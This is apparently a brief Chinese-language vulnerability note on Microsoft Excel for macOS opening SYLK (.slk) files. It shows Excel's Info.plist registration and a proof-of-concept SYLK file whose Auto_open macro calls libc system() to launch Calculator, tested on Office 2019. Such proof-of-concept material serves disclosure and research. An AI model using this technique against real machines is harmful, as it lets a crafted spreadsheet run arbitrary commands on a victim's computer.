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原因：

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$ defaults read /Applications/Microsoft\ Excel.app/Contents/Info.plist
{
    BuildMachineOSBuild = 18G87;
    CFBundleDevelopmentRegion = en;
    CFBundleDisplayName = "Microsoft Excel";
    CFBundleDocumentTypes =     (
    {
        CFBundleTypeExtensions = (
            slk
        );
        CFBundleTypeIconFile = "XLS.icns";
        CFBundleTypeName = "Microsoft Excel SLK File (.slk)";
        CFBundleTypeOSTypes =             (
            SLKX
        );
    ...

POC

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ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()
E

测试版本 Microsoft Office 2019
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https://objective-see.com/blog/blog_0x50.html